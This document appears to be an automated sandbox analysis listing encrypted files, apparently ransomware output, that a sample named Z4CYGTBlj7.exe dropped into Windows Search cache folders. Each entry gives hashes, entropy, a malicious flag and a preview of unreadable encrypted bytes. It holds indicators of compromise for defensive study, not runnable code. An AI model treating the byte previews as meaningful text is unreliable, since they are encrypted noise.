Preview:	[{"SyUY.....-.e.WkG....J\|....O4..}...d....w.{..tY.Y...%..~..Q9B.x..B....%....d.k...l.R.P......GW=.....\|#..s.A.....D.H..U.`z1BZ...(0.....a/.....i.e=BB...>:9....F..&........=.k.cP...GU.....ma.b.J...e..PO.b."K.l.e .....)...n...q...=xr.......f........J.4.-....&.y.B>.....x.......4..=2..Gm.fjv\.....E.....Q..y..>.f.Fr~..5W.=....Y..#W.t]........$..{8.e..k%\WVL,..q.M&.?.p...-.E/..._.,.h!.3p...oXw.{...!..9..c.l..r5.6.......g....6......2.1...O.\X...6..e:@.[ORI..^.bn.).H.3@w..-..+..+C3f.(E.3^...w\|....2'.....x%.....-.k.x..>.>..+..].....[=.tAZ...U..}V^Q\t0..u.t\|D....'~.........i*>]...\..!..G."....&....n.HI[Xo.9A..M....Iv..$5;....i-.\|.b{k....iA.%.s.F?=...o....N."......J8F....W.S.....9$(.Vc..].a...b{....`...>MA.c.9+...N..t.P....<L.@...6..C.....`...S..W(.b/.B...2..3.g.z.$.uU-.m.e..Y..:w.3X..D0.........t_I.Cs.inj)}..;...-...6Z.Y)....a...K....3...zM..d(.....$p..JW.,....@.%...{A.."...&2..s.'l)._......\.r7Al.=./:.......w0....,.}z.....Y....f....:KI

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004786866416.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	104646
Entropy (8bit):	7.99811577929269
Encrypted:	true
SSDEEP:	1536:08Z8H9pPNnfgm+KMm/hRNDj8lakyTdZxI/1llEnt70M+A6EiUx:08Zm9FNnfgZNmJRNf8lkZ2t4ntIO6zk
MD5:	827EC81D077B90791390253832777307
SHA1:	3726E1791D57CF09819107B61909283FD53DC2B7
SHA-256:	835D4378364D7303BED1A87C0CE5078EBC45C89FF8294316F79349FBCEB79335
SHA-512:	2C7082E5B9A54CDB7669C6276C4B6E1734ED5FD012687D6EBE0BB7645FC524AAEA7E26D941B01F674581C9CD96E8BC1F479F7706B24DEEE720CA32637935AA69
Malicious:	true
Preview:	[{"Sy.......>...R&.n%.L .}...@......?....l../.^+._..!.p.O.U..x..6...&Ag.3.......K.3.....t..<..p2-4.?.C.\c..m....+.X..mF..vC.W.8UT..\|... ....a......s..!..-w...+6Y.1$.K.A....q.\|..rI.j.......u.....]X..I..X ...b...a............c.....=...<.`... .M.....U.......=.....h......Z=...JP...a.......Mv+P..YN..@FaEE...qz^.nH......E..9.....54.9.n).E..U..;....]n.....7E.~1..!......8.K+...O..1..hZ.rWX....(..\.l..(..+.5....<..[t....0(.Z......q94..@......... .y...{,.......t.{[.......(}.q.d....eC.._A..\|.BAk. E}..2..^.P.......b.G...@...Z.b..c;..h....O..~f..\|..\.7...H..;.J.u..>.F...-.w..f..r[.....^R..9..&Cy...R...%.H.$...O9.}...G.<.../q._..V9`.:.....3.LF.m......bL..9..{...w....[eD..........Gb..Qg......k.g.J.8..=....>......j...g....=9.L.....a.l..Ew......C..<.......n.O....M.R....&.H.?......M....m....G...v.........R..5.e...L.....L._f....E..p..8...n.j.%.QQ..N...b%.....Wr...'s r.....kc<.............P..!..`.>.g....(..Ab._4F.Q..#...........\|n.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005089393222.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	105788
Entropy (8bit):	7.9983936323140234
Encrypted:	true
SSDEEP:	3072:RvFlBWq5ZB8kGXApd70pgUaDJviM1GACDF2N+fIP1P6bWmit2K:NsuZB8kGXUDJvWJO+mP9mI2K
MD5:	3620BA2547A930DD176CB20ED8DFEE50
SHA1:	49BE8465E0DA6242CE008B7E84B706AE7FE37E2B
SHA-256:	9B29B071131E786FE671EFFE99000F58A9DE9F7BE4BF81AC0EE143D86E9F9240
SHA-512:	FD0FA1CE67D51A0D6FB09DF185FEA2530222FBDF99D795D8EC19056B108DEF0DA64C093BA97B2B16CFB9A850A2FC7209590D4E7904409EC5EE6D2758432AC78B
Malicious:	true
Preview:	[{"Sy~d.......7?..Fl...FG........d...I.k!G..0..U.id(..A.....&...>...7.'....F0.;g].#.....(g.....H..A...^#6F../t.A.;..s.D.l.JP8.mf....]........ZT...j%.mZ.....&..i..Zh...3/\Zg,.f..&.e4.'6 ....t..p..".."o.2^...."...p<...!/..\|4$..l...`...b..h..=.c...w......1H...9w....k@..ZF...j.&(._O.n=..~.$3.....9.T........#......>.t....NMpa..^....py.9EA1......l..u.(<....4.i.....6.S.....?..>....0...W.w.ZF.....[. .[.c"hh....0..T..b...G..8\.o....s".$2&.zx....e&.....N.g..?..t....5.;......Gn.$........U..@....xo...(...Z?M.kN.c....5.l..1...;:......Nx-N.f.oS.f].F.(6...`K{...\w.X...I..H7s~..=..5d.". C...k.u....\|Lt.......vZ...Pw4..?v...+;...8..W.`W.l.4...5.Vk.....Q.....#...z.U....-.t ...~.5..."o..p;i........).{...!...ye.7....M..% ......x..........._.j.)..;..7.H.+. .s..........-._ac....cp. u.o.?P...5.9....x..[...{^..c....fb...."...DO..{..."2....)\..V#@h.eh....+*"i.8l..q...s."N...?. .I.V...!..Vo^K,..\.X8...CF....j.D..>..`.....?3...7S6.X..M..z..(,.z..=u..2..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005389384955.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	105788
Entropy (8bit):	7.998482672088743
Encrypted:	true
SSDEEP:	3072:+GP9M4fqiFak3Vms0o+IqjId9dwxMJ8vWcl3:+GVXqiF/3Vms0oh33+Wm3
MD5:	FB7461BC84AAA454D4A50AC78F57CB9C
SHA1:	FDC2EC1073D7A1DC4DAFC1E7B160F0415FA25C03
SHA-256:	C5BA7ADAAD468E56BB57E51A0D95540B079D420E12193B1416B10BAAAB1B661A
SHA-512:	1FF04C486A2226BA2236ECD5595B3F863E395500DBC778F96569669E9BE2DBBAF0FCA3778557E9D848C31826E608854A0310731FA666463C97A01314CF529278
Malicious:	true
Preview:	[{"SyDC.xD,..Y%.m.3..;b..1eg0.>..5.z..,J.\.gmLPo.N.C....7....O..<J12.&..."...O..$..qT.b.D..M.a.'.~..-pR.u..<}.?".W. .H.Rs.>;..z8F.o7F.`.x.....0....E.ZA..rI!...M.{e......^O.6....w....)..D.c.d.1......#&S..T.S.xwD^.}KP.....Xk.m.z!.3X..l..Y....WltT.a.+..^.;.w.g.+...4-L...w....,I$,.3[%.... i.yqR..q.....[....8.C.L.....>.-..Jk6.Y.{.&;....8...)M.(............j%+........gs...<.k.i......z.K..^R..8...[%.I.T9.}..9..?..Bl.WJ....k...c..OE.5..e..l.....1O...)...$...)$.AM...0M.W...F.V...b5..#4!(..}..f.X.....j...N.z3..I.Tj..j.b.K.....F'..#6....,u.m...\....e.f..Y.K/.!..'Qv.l..1..g._C..G.YY..\.W.L}..<}.e.3.....@..[....wX.....d......<..<b.....E.......E....H.sGO>RHTg.....<...c...'@j.B...}6.......9..P.....S.W.....m......6[.....,W8.. /.......&G......[.J...pf....c..e__.c.].a.M.....Q.!{f.K...TKI..(6.1...a.n.W..=..(Q.}F.!.n}.kL.".D._@N.....~.#...G~.%...~i.=.K.7A.Z'.B...`.#...$.-.Jv..E.b.N...N.<D.o...8Ug.E...H...4S.!*@.[.0..].......e.....E...NCR.x..5w.K$~0.i.\|..2.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005953011714.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	105788
Entropy (8bit):	7.998554469266353
Encrypted:	true
SSDEEP:	3072:EKSgIRzkWylkNU+3FWW1BzpvPb7gYSXLN:EKmYRlk6GHBTzuN
MD5:	35F2423C2713E5D06F842AA72A8CE012
SHA1:	4B0D47139E05A753FDF56FCF4D661E55A498FB93
SHA-256:	8658372FC2393851149B617E20DD4294CCB8920E4BC86DCA511A6FC9F6897356
SHA-512:	5B0FB505C6A3F76C71A838381D17DD4CCF6E1690C2A096534334412EB50E769C1774175FC9A34B6D355A1502FB8592510AB96FF6FE9CA7F3C5B7D99A09395A7F
Malicious:	true
Preview:	[{"Sy4i...uG`..U..L.;d.k.r`.x>D..v.f.L..Ni.Bk..t....S.p......H....e..9..CRr...Y.-.../..mv.Ze.1.W.....eX.w.....7e.S.t#..t......E..d3.^<.v...p[6`.a..Jr....q....\HhN..yL..^.$.na.........5.z.....(.4.]........kjuSl ...J,.[.P....G.....3?.,.GV.Y...B...z.y...M.o..86M......."V".v..wi...F.#.<1...\|F/^Z.o.u...G...gjFj.H.~......_.v<..s.h.\S.C.].......7.T.....bVY..a..h....d...Wh..&#x....3.V.. l...T...$.g...OJ\. x!..H...Dw..S.......@dH8...I_......@g...cc..w0.+L.1R.-G9...o..i..m.....'%.s.S......(?H6Im.J!..`......R...W..J....+;v.}..I.M+.q...Yv.i.n....p..mFt....)z..9.2.K.<.8.L..27..e..1..\...B..]..VLLz....L.{o.....k70.!#..b1S.....#../1=w.H...N.3.6.lt....Ts...7.yn....q!.n.%.SO.:a...\y?.......!Y.P~.9..K.7.........m..1{)-\|}.5j/.L8...V.;oW1SOB}h..\|.\|C.9.._.....2mAk.....v...NF_.N~.. ...4u).2.'U...{u_..#...E...X.TdY..4n...-bwEcg..........G.9....g..?.w+P..t............1.................~.~\|F+D.G(.....[.d.>.db.h"9[>UU.X.f.V.....q....u..Q?1.......u..-...,.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409006148184320.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	105788
Entropy (8bit):	7.998314461022821
Encrypted:	true
SSDEEP:	3072:g/TAzmAhQZLmDUOzsO+cNiCJwuR83evTVu:g/TAzmTVmDLLJB0epu
MD5:	9EDA4DB3396897810C4B98284B478E9B
SHA1:	2E984BDA0AD194D6C5AB9A6740D544905E52EF9D
SHA-256:	648D3EAA231C2EE2361F1DD65B2AA4EA9ADA0D626BA7FFAE030040307A0EE14B
SHA-512:	563F689F60EEA1608827BF5AAC5FDE1DA5254E5078D6C22207ED332BB91791AA5A110E948F5A88E3E00708F596DA94FF30C7A65A5B6232AFC6A6262E2F8FBBE8
Malicious:	true
Preview:	[{"Sy.r.q.&...1.vB..J..$.2Y..U.9."M..$;gN../.wZ;.$....-....GW.:L..e^At-..I..j77.W'..v......Y.3z.]B8..g.w.b....C.<...%..v.../.6J..Y.... .af.#uDH.......p......}D#OVz/...H..ELQ....kE.}.P...._4b.;S.".....2...$"..aA..2....5.....A...S.q....9X9......;..8....A^..7.-o......f@./.=.......I.e.:...&$..-.`9n.Nj<..-f..Z.~............=.H..R...Yt....s....I>S.y...2.bR.G.Oc......&S....U..O.@..Zd.mv...1R8..f......q.....t.qd.I0...l..S.......Q,j.ry......P..K......5..F>..w..x.......pgIR2..1Y9.....Yv.w...J.T...h.Y.w.....6.Aw.p..;. 5...8...[.....I.A)Z.....b........NS..#F....v}[...].n.5.0..!....EM..oj{.j.c..Bf..X5j.x.{R=.........k..K.A..%[p....,.\|....BW....b...aWh..MA.t..&.x.a.^....-..O!n..QK5..z.c..N:>'....!F.o-...:...w..Qr>%.1u..j/.E..a..M!..Y.G7......e.8.p...'8W.m.]fx.%.#..A!.4U...=.L.L.F.kT.x..H.N.&].*...=..(..x.:.N..=..D.\|'W...4..H.l.K....hY[.zI/.q.O.w....8.:4....`...(....=...A.kr...$#N..o..nr....e.....i..SDB......a`.O..R...M...\|.3^...8.^,..~.UL...x....Hj

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409006446553451.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	105914
Entropy (8bit):	7.998529049193649
Encrypted:	true
SSDEEP:	1536:11PNWIyJjCVw0m8oyXzQxk7zwfTRWr3/v+HWfTkA6+EbyhvUqE67YQu:EIceVwrPO9zsw6+EQUqE6O
MD5:	01A0A68C9A6629E9F2742864C5D07CCD
SHA1:	E8C512C1D7A126D0EE827C203831AF88ED27556D
SHA-256:	71D2C40710A8E39514257EC98955DFE6C622557009227CB09A9F9A1042C5398F
SHA-512:	EAEEE2219C266F7F954BBEDC9997EA0ABA10D6B989D1A026CC59E2FDD94A966FBA4837164A5059D4B279E9252FE6CAC10486328278DF9E34DBE643FD4EBF6718
Malicious:	true
Preview:	[{"SyP.Sy,y...\C...Hy...].G.....xV.).'U#..N.em..V..R...:W...f..&.k.."l.p..pz.V....?..7..I..l\|.....o.......^.7#o..uK....5V.M$..n..N...I....t.._.V...p9.K.$...=..'.....9.rG...U~....u^.W.p.h..\|.z..Q.M....]yCz.:.#Cm.NRW.w.a<H....&.A.........y^.....F..h..]6`.9....G...........O.w.....v.{. .mM^J.X.'.[..4'.s.....l&8.N,w..~t....Z~....Y......(;C....x.2.D.\|.....D...8V.I2.........Q..&..Ik..3sAu.\K...........j.D.#b...r.+.......v.FT..l..u{c..74.....l....C...?.^.R.....Y(.R...^.4.IB...!..4t.....\|.pX...Y'k..<..#..[.......v..r....?q\Q...0..:k..,Q..a......,.`.h........#J.-.S.L."...UF..I.\..b.....?........._...G..y..h.8.GQi...s5=%..."....p.]:...V]..\|.....u$......t....M..Y.."e/.D:.RC.@.`.g........U~$....tP>..r...o].4.g.../T4...".o.^...s.....u.....c...Ga..5..Z3d.c.G...4.6.......su...P..2.`37.Q...A.._.L%4.^...r..~X,.t[.z.Y..cH.).F.I.>H.y3..xV.]..Wk..@P......!...Y.4......`...l.....I....6.X.Y...!.w.:......_S..c ..}.h....9...i.M.....=P.~...9...,'..b8....)A.4

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409009155626780.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	118503
Entropy (8bit):	7.998431847496303
Encrypted:	true
SSDEEP:	3072:gXmsYGVZ/Bf277Rd+8kNA/+PaboiH1LCz7JNCeeVxv3j:g2PU78tU8yIciH1GnJNPa
MD5:	E5756FFFC1FD69B975D73B1962BD38DF
SHA1:	CCE2C3504274704C84A00871B18324408AC7709E
SHA-256:	909F20C9B58833CD9A7AD16ADD9D669362CB36FF021797988FB3EFF1264E653E
SHA-512:	D4696FFB094631FFB0FD048E6BBC76144F236965AB9A110C0664C6311E33F86D44CBDDE84E5AF4782F7967D77057C63DBC9F9FA8A71A0B7282306EEF4B01B20D
Malicious:	true
Preview:	[{"Sy.(JA.......c...\|^ZU..O...I^2..<A....6.e6..N....5.K..t.G.M(.\..@'.>#jx.../s5...}..z...-;KLX...,.<...-........##;..h..H_.g..E.>..\.CW..y&@...T...!.H.t...(..a.t.".d...1.Gy....L.U..P.b.-\|U....V9\.+P\|~.,.U.....A..].Xs.d..z.p..8L....h....#..#+K. .t5\|l...iC'... .2^...x......N..y..i.Z....,..A..B..n.?8.@O86V..S..]..w[.m.%...CO.....J..X.A%.J)O......k.=....yM..U..S7..0...m..".7N%..#%....t.h.~.'?.T....f...5.<#:.%.n.......hE.v...5IvV.C..X../d&:...Y.L....t>FY...Jc..eZe.....sG...X.'K.....c..e6.......q!.....g...e.....#...].6...<..".%..b:.tw..x.y....[....Z.R...<F~.}..h~&...1/i.......\|...}bg.....7..@u....R.S...........U...S...h........7i.x.0:$A..&..?i..V..43..O...2........d>..SI........s~!l..g...v.#ith..A.....Y....>...-......q...;.".8].e.?.[...eG...=B...3x...nr...7.x..B0W...k.s,..\....!.H_.x.&....+....6a....,..yV.zf.I.)..+..y.p-. .2...H....d=`....c.y.x8n..N.U{..jr......X.a.y..E..Hk.JS..w.....%W9..^.....h(4..5.z..............u...N..a....Z..M.....OG.W.0.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409010467962588.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	118507
Entropy (8bit):	7.998536371138737
Encrypted:	true
SSDEEP:	1536:iD5tthseBhDZAaJcpMSvGF8zIyuPDehEr+atJ1mOndlmsctkUYf2uk/odML:ivBBhvJRF+I/FmImDkouJm
MD5:	5BF176260002B83C70D3375EE212C9A8
SHA1:	5A8665AF0AE4601A686E8FE4E88262C41A927044
SHA-256:	A46A2B57CFEE3D2F0E55A9FC6BF368006164F2E03889A4BE2DF7AC1599ABFE1E
SHA-512:	302B235D9C5945311ECA7C0CA938EF73478BE0B373B6F1FE90357226BC1CE3B649E1823DEF94AE695BD1B04954EAD4A34C1C86F307775F99A02D69FEF7EEC51D
Malicious:	true
Preview:	[{"Sy..Z...B?\.B.C.s..'.!.c.B......:e.\mmNs..8aM.......n(.....'#f..x.>{..X....W.e..{...]3......cGO..C.1......I...Q-...{\|.nm._.@8&....Ll.H.&A.Mi...6....G..;....1.\.....a.....:......[P$=......I.p...N..4..8.k...7...[..G.c..m.x...M@..)4....ui.......c.~m......Z...@.4.k^S51...'g..I........5.n?.....F<b)4..m.fW.S...D.19......D\|fl../dM[......(..Z...hfP#x..j..B...N:.DtY(......KF.."Zvs..T5D.Q.J3......oAD.2.$..!.N.......{...8)......z..b.[....7.k.h.A],...(.....7.a...4.. .diw OK.sY~.?yb.0..:.9....H....../.}.m.0.....2.i.....x.w.w..Y{l.z.VtJ^f...d..Y.g..O.Q...c.@.8.^E.c......0.y.nJP.,...>.w.W.(x....x~p.K..@"&...+/.t'F.Q..a..G.n\|%..).R...,..... ........M`F.../@.....KR....1.....9...V......J......v...q.C././.Z%..6C..]...?.~.=..2. ..L...s._...u.....z..^u.....:$..pW7S.M...g)... ^.+.........y......<\.......).N..C.._....wEi!.......e%...)u.5..-.fu.Kj..*....(..e.........6>..QE.1.:8 y...(,...#..T)m.I.....w.NQ}.K......\|B5.#.........7Ktf=.C6.'z[./5i_....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409021046094069.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	118525
Entropy (8bit):	7.998756249299802
Encrypted:	true
SSDEEP:	3072:pmD3zhFQWlTHF2gN0YVuWAq+upK+VsL81:pyhFQWl5ru3W9+QvVsLi
MD5:	D72C818C4A3817365E8A87CBDB10A789
SHA1:	77F4F7D6969266F171CF55A0298E67F42E97C63D
SHA-256:	9B53D57E4AFF35F2DD23356748F6A5F44F0BECC1448900786469E81D17BE9B68
SHA-512:	A6DBF7AB86A8638BDA1536286408DD6A3EF847D670436360FA3EFA39C47DEDF000B906ABED8EDA010C369CF28DC945176787B8A75F59FE6F7ECF9FB0C19CDFC4
Malicious:	true
Preview:	[{"Sy..-.)..J..WEG._e......%5_.F...I}.'.^&.).D2.W.Y...).L.........N....T....@...............:+.....w.B..R.5......hm_....U..(."...~..\6.Q..#.X.G.@N .M.,.......7.O.B.U...F.:...4..BW!v.....M............CFo....xf........a....v...E..\M.z'.7...\~Dj.q......W.0.HN.G...iz..1B...R%z..9......aT.C.\.{.R..z...(a..M..R..v:.}.....o.z.@.......ok....Nk..Ap...].6..~W...@...p..4.d....6`.V...!......<....)J.....)..Q...mV....B..U3..F..x...W@-......'X.....8#..2...h~....b....Eg{....x.;U.G..;c"<S.."cX.\_....%:2...%....."v....q$.?\|..o....]..1.Aj....3.W.....K&.2.....P..T......X,..4N...r..[..0A...W..E.%......H....0..5..k.3.S.r.]...Q[..j.S\...(...!U.X.....}.~.#.a..@......_`p...!...9d..V.V...4.G.;I.v..)..v..4..d.~....T..J.k...h....C..]..7..Q.J...Xa..}....A....w..9..n..U..i...)......c.....s..4$s..../$%k...~.d]@c.......G.4.C.p)..z...@b_..............g\...g....D..J./..k.9H._y.._FG..^&1...\......*{....f....s..K..9.\...#.g{W{1..].....f.ipfo......P...{d.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409021833987004.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	118751
Entropy (8bit):	7.9983424773591985
Encrypted:	true
SSDEEP:	3072:5dNKUf6cbPyEUdoYrqGIMMGtHsJGa/7mjyfU8lWIwTKv2ILoDuGaivjE:BK5crazIM96zzMyfUxIwuvmnH4
MD5:	3277704F8C944535E38812DFAF970EFD
SHA1:	EDB2444C6D36072B0BEF13C1449888EC96B60C51
SHA-256:	4A18D5A6B209719A247719BFE9A798A188DA012603416C62A324E65EEEDE1C6A
SHA-512:	608C177A013A6FA01124DA5B8A797F64DE51AB3CDD4A65B4F86C95337A4553D2C356010993E4E94F00B3CFEE1152B1C2D152B52084E6FB6A1AD5AB8F13BE3C4E
Malicious:	true
Preview:	[{"Sy......Nt..+.t`..+J..{b.t...'._..?s..m...+t..,U....QfW"\|d<..?..\|(+n.h....FH.......b.3..tt...N\|4-......0.._......KW...k...f\cV"...@R.c..\|;....!...hc...M.....D.h...[.!N.E.)i.u.7.4...I..S...1..;...J..\|......v.e...1.hFo.xMb..%\|..`<y.x...s....l.....i...S.yG...!+.8...S..?.........P./..$0K..@p.c.....3n.i.5.`...<Y.....`.L...I.}MMy>.:.=C.0v..?..]T~..EY.@..2...!....b.....R...w....(t..b.J..=R.L._...l.:...one.......U.bR-....].+.7R.....k..r;....Z..iK..5.\Y8s.%..L.?.'.vg..Y..m.. ..zy9.n!...d.<x%}....6y....X.v.~.LK.Wh.F.-"..bb.Q..v1s.....&......N.'(..u#.&.[/.:...A..\..^^H...v....\...d'.Bxe.l{.........B\|,..r.....e..N...ls.O...Y.n..(<...q..S..UD.../-.J.......(x...'...>-.."...d..P....?g.b..0...KPAgw<.1.HN......'..:,.a.4Y'gh..'....&.c..g..b.l>..+.8c.N..\.?.d<v.fT./."B.L.z..l..G...:...g.......V....r.:.c:u..... :c.f..........w....$9........'.....C}Z.IB..jF_.T....z..K....WO...>Nw....?u...Udb.I.=....j...k..0<.....z~.OE.r'..........9L.q(.....V`.C...C..g.2B.Rqs.._.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409022763610746.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	117150
Entropy (8bit):	7.998479750713291
Encrypted:	true
SSDEEP:	3072:P5j0QJZ6c4v4bNsPPnQqRahHyRMRtNJZoXjP:PB0UM2mP/QqUJZs
MD5:	BEB1C2025DCD4442E5E0B21D520CD252
SHA1:	ADF5E408B5C2D74DEAB65ABF53BFCA1BAFCB695D
SHA-256:	6A9F317AA48E0C82CB0464F80685339A0E501B634D292094C1244C9141B28F22
SHA-512:	1B0FAA358CF6893245DF903E6DC6E9729246CD40E54CCCC0A2DA5BF9D0A8D6883192F59E5FFA7772D35C1E5922C3360A9E1C21993885B98BF47DE4A0AF4D71FA
Malicious:	true
Preview:	[{"Sy....>.2e.'.....~M....;f.F.9..8.....WN......:O....N..a.;..F.n..&HI..F.z..d..{.?;;.e.X...q 'DK.L....`.:..z...cj.....[j>6..e.?........t.=......?.....T....o.......(......L....E.\|..u..-}.".. .(q..f6..Q-...5.w.&.&N..r.U...w.......I...J..UO...[`...6....zMa..C........u.K..Bq8..4.J%...-.i....8...X..Z..........Q......bM.LBJ.DX).....Q.Bw..pz.P72....X.8.y.V.....8..j.s\e..bd...^5.j....'$....ucmW.....)....!......R.a.F..D..'U~.:....&.R.....%Ab...T.JJ..)..<....7.S...f$.sF.Ct..<....... ......]..#.......b.).....D.,g.1....lL.........K.....,.2.Y7.......@..J..............E.d.5T...m.......y....M.o7..CA}.._3y.....z!-..-\mb.\".<YyR.....mn.y>'.B\....'..n@.D.eJ....{/...z....c.~8...e..../..O.Z...r.!C.g...k....6I1.:.,.\.k..)}P....)..Ej..?l.7.bo.. \|..P\r.v..m..~.$.....`.7r...1...FY.i$........m{......n/.k..NrI...X/.+9...eN-ow@... s."h.g... UM...X....)}.}!...i>'.,./....Yk.xIO.-d..f..q.+..........FP}..:-...!D....V.c .J;...A...P/ >...?.eh..G......<;.O.4....j...qNO

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409023789902202.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	115176
Entropy (8bit):	7.998195780390475
Encrypted:	true
SSDEEP:	3072:LT6W1tzNnvGZ6FTf0Whfkeztj5UxcPhsW:LT6WDlvGETf0Wkezvy0hx
MD5:	B6671C4EE6C14A892E3BE8CE48B529E7
SHA1:	D123631C82C15835AB3DBD0D5EDBC824DA0F6355
SHA-256:	BD3946711C3AC0021892573D65B3E8B4813E50B73B0F640EEA55FEACBC17FBD8
SHA-512:	66FD038DD55A8CDDC0D7BDAAD0090E3F7C76A2CFCE33E5C920E57653EC5B68E7267131878784A575C1CBD589899C721B95D819719BA0E6F0C510C1647B33F274
Malicious:	true
Preview:	[{"Sy.:.x..P]...#...p...b.7..ZA....~.#r7}.ru.Q+..S"..\.....#........YS8.$n....q..../.q.C-..`.;5.K..J..1l^..,2...Gj....W..Q.S6\|Y(6.j...T.W.e..H{..X.{..}.b#u5.......>..T......P...5r{..h)r"...~{..N...Fs....o..c`8Y2%..}....-....R.7b...:.....8....4'd.QgNR....(..1L._.`.~.2.$..=n.....8+..e...Nn..aa.j;.w+J.q..;.y.Z..M\|..p..f>P.ifn=x.......{$^.CV'.8.`,....4tn..o....Vs....=V.R7...kB..u....=. ..@M.....-XND._."....^.i.]Ro..v.....(S..Ta...#k..Y.p.....1.....%;...3..o.i.4.......6-(...#.....!..ibyX]S....`...{..q..5(.<j.<....-o.+....t..H..L..6...V^JX..Q.1.T."..4...P[mS.cm.(P..o...65...L.6..Go.=. .[:D.k+...i..3..^....@.u5/.+..A2M...{v.La.\\|.u...(pFn..`.]Y..`A.^.......p.^.C-z..p....N)f.Q./..d3z1<..5.......%...R.)&Z+.z..RO`.2s.l.[zeo.#7.,..j..B.....?.r...I=..!.WH...l.].w.J.&.[p...V..U.. i.0..7.IL....3).2....Kq#.}W.V.i......N.t.y...+8FD...y.y^I.0.-.A..2l.yY`.....M.uzG....\..<a...].....t..Ik..&...s.p\|6.J.z......P.K.x/.n.PO.xf..<1\.v.c.<...O&.....^@..$..v0.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409024089824579.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	115177
Entropy (8bit):	7.998466569533546
Encrypted:	true
SSDEEP:	3072:ZbZiWwovMutUs3Gbu2myk0yVRFQieVXdhRVIA1YMEGMH:VZiWw2IDmZ0GLQieZzIA6MgH
MD5:	716F1784FD30C56F44CB16F025C49761
SHA1:	046C16A3D4278E99FB09ABECFB5B7F6E066BE092
SHA-256:	3D6933566DC0726C60B0E1DDFD2C36A662A65DDB44106BE11B71879BC57DD141
SHA-512:	E26C4EFB13FCBC2940A8BE374CD5277C3A6D2D0346DD7D2FD8E5D34F8AE12499E69A9C74383BDAA4CE840D6AC39BD5F651E87DAB13E3A6AD4B56AD4E3097A257
Malicious:	true
Preview:	[{"Sy3.3..a..^.....c...G...>..b....rw..[T.=O1-.c..K.f.....b.~<...x....s...O.i..~G}B..IaF..=M(..(o...H.M"...V....!.6.>.z.`A\|.....^.-...~.. ..Bg.-v.+wd\|.v...............W3.\|y7'........t......p.[....zp...&..6.ROR.Gz...^..~...d.D.....1PT.`....Lhu.....5...R....cG......Lx.b..DPb.C..9."..B...._.}J"....... .m.G..O.q...sj.._....)..s../...=]..E6;>...W..1..8..:_.e.m..i^..G..M.Rb9v.j.xNZT...y-;.......+U.@.MZP.bh..._a=.uQ..s.LtDw....4.<]...r..L...M.5<...+Yt.c..O.%.J.j..4.F.).,...1..W:r...[......C=...`..h1.u...m.[.8n..^<<.......)sK...N.5...j....:..r..0_I...r.p\.+\|.].z..C......n..Q[.F.Y.dj.....'./..k.....Z.....{.c..x.......LH.0Pt.f.q._.GL.+M.....i..T........m.......M@..WQ)@..tTIq.T..38.y-...w.......Aw3..3..%.Re..........+S,.e.#..UI.^.T~~.0...oU .f^w......c(.q.x..:..b..y.KG.L)....B..."..bl..\.l9..g.9D+.vv....g...n..nK._.3..eu.n..T.1..Z.#...#n..f.vn.....gZ.[..PH...(..\|.K.~.D._.%.b.p.\|[...f..h..^T..\.\|... -2.....n...t1K...-..h...)...?.?...K

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409024501033688.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	115177
Entropy (8bit):	7.99845250142789
Encrypted:	true
